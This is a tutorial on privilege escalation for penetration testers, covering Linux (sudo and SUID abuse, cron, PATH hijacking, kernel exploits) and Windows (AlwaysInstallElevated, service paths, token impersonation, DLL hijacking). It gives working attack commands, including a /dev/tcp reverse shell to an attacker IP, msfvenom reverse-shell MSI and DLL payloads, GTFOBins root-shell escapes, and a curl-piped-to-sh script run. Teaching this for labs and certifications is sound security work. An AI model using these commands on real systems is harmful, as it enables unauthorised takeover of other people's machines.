Privilege Escalation Explained: Linux and Windows Techniques (2026)

You've got a shell on the target machine — but you're a low-privilege user. Privilege escalation is how you get from www-data or a regular user account to root on Linux, or to SYSTEM / Administrator on Windows.

This is where most penetration testing engagements are won or lost.

The Methodology Before the Techniques

Before running any exploit, enumerate. You're looking for the path of least resistance — misconfigurations, weak permissions, or outdated software that gives you a reliable escalation without crashing the system.

The order of operations:

1. Understand what user you are and what groups you belong to
2. Understand the OS version and installed patches
3. Run automated enumeration (LinPEAS / WinPEAS)
4. Manually check the findings most likely to pan out
5. Exploit the simplest reliable path

Crashing the system by running a kernel exploit when a sudo misconfiguration would have worked is embarrassing and destroys your access.

Linux Privilege Escalation

1. Basic Enumeration (Always First)

# Who are you?
id
whoami

# What OS and kernel?
uname -a
cat /etc/os-release

# What can you run as sudo?
sudo -l

# Other users on the system
cat /etc/passwd | grep -v nologin
cat /etc/shadow   # Can you read it? Game over.

# Running processes and open ports
ps aux
ss -tlnp

# Writable directories
find / -writable -type d 2>/dev/null | grep -v proc

2. Sudo Misconfigurations

sudo -l shows what commands you can run as root. Many of these are exploitable.

NOPASSWD with a dangerous binary:

# If sudo -l shows: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/bash'   # Spawns root shell from inside vim

GTFOBins (gtfobins.github.io) documents escalation methods for dozens of standard Linux binaries. If you can sudo any binary listed there, you can likely escalate.

Common dangerous sudo permissions:

• vim, nano, less — open shell from editor
• awk, python, perl — execute shell commands
• find — sudo find . -exec /bin/bash \; -quit
• nmap — sudo nmap --interactive → !sh
• wget — overwrite system files

3. SUID/SGID Binaries

SUID (Set User ID) binaries run as their owner regardless of who executes them. If a root-owned binary has SUID set and is exploitable, you get root.

# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null

Check each result against GTFOBins. Classic examples:

• /usr/bin/find with SUID: find . -exec /bin/sh -p \; -quit
• /usr/bin/python with SUID: python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
• /usr/bin/cp with SUID: Copy your own /etc/passwd over the system one with a root user you control

4. Writable Cron Jobs

Cron runs scheduled tasks. If a script executed by cron is writable by you, add a reverse shell.

# Check crontabs
crontab -l
cat /etc/crontab
ls -la /etc/cron.*

# If /opt/backup.sh runs as root and is world-writable:
echo 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' >> /opt/backup.sh
# Wait for the cron job to fire — you get a root shell

5. PATH Hijacking

If a SUID binary or sudo-allowed script calls another program by name (not full path), you can create a malicious version earlier in the PATH.

# Example: SUID binary calls "service" without full path
# Create malicious "service" in a writable directory
echo '/bin/bash -p' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
./vulnerable_binary  # Runs your "service", spawns root shell

6. Kernel Exploits

Last resort — kernel exploits are noisy and can crash systems. Only use when nothing else works.

uname -a  # Get kernel version
# Search searchsploit or exploit-db for the kernel version
searchsploit linux kernel 4.4

# Common exploits: DirtyCow (CVE-2016-5195), PwnKit (CVE-2021-4034)

7. Run LinPEAS

LinPEAS automates all of the above and more:

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Or transfer manually and run:
chmod +x linpeas.sh && ./linpeas.sh | tee linpeas_output.txt

Read the output by colour: red = high probability of escalation, yellow = worth investigating.

Windows Privilege Escalation

1. Basic Enumeration

# Who are you?
whoami /all

# OS version and patches
systeminfo
wmic qfe list brief /format:table

# Local users and groups
net user
net localgroup administrators

# Running services
sc query state= all
wmic service list brief

2. AlwaysInstallElevated

If this registry key is set, any MSI installer runs as SYSTEM.

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If both return 0x1:

# On your attack machine, create a malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f msi > evil.msi
# Transfer to target and run:
msiexec /quiet /qn /i evil.msi

3. Unquoted Service Paths

If a service runs from a path with spaces and no quotes, Windows searches each path component — letting you plant a binary.

# Find services with unquoted paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

If a service runs C:\Program Files\My App\service.exe without quotes, place a binary at C:\Program.exe or C:\Program Files\My.exe.

4. Weak Service Permissions

If you can modify a service's binary path or restart a service you control:

accesschk.exe -wuvc servicename  # Check if you can modify service config
sc config servicename binpath= "C:\path\to\your\shell.exe"
net stop servicename
net start servicename

5. Token Impersonation (Potato Exploits)

If you have SeImpersonatePrivilege (common for IIS application pool accounts, SQL Server service accounts), you can impersonate SYSTEM.

Check:

whoami /priv  # Look for SeImpersonatePrivilege

Exploits: PrintSpoofer, GodPotato, JuicyPotato, RoguePotato — all abuse this token privilege to escalate to SYSTEM.

PrintSpoofer.exe -i -c cmd  # Spawns SYSTEM shell

6. DLL Hijacking

If a privileged process loads a DLL that doesn't exist (or loads from a writable directory), plant your own DLL.

# ProcMon (Sysinternals) shows DLL load failures
# Find: DLL not found + writable directory in the search path

Create a malicious DLL with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f dll > target.dll

7. Run WinPEAS

.\winPEAS.exe

WinPEAS checks for all of the above automatically and highlights findings by colour. Always run this first after getting a shell.

Quick Reference: Escalation Paths by Probability

Scenario	Priority
sudo -l shows NOPASSWD entries	Check GTFOBins immediately
SUID binary found not in standard list	Check GTFOBins
Writable cron script running as root	Add reverse shell
SeImpersonatePrivilege on Windows	Run PrintSpoofer
AlwaysInstallElevated both keys = 1	Generate MSI payload
Kernel < 5.8 on Linux	Check DirtyCow, PwnKit

Privilege escalation is a core skill for OSCP, HackTheBox, and real-world engagements. Master it in your home lab before facing it on a live assessment.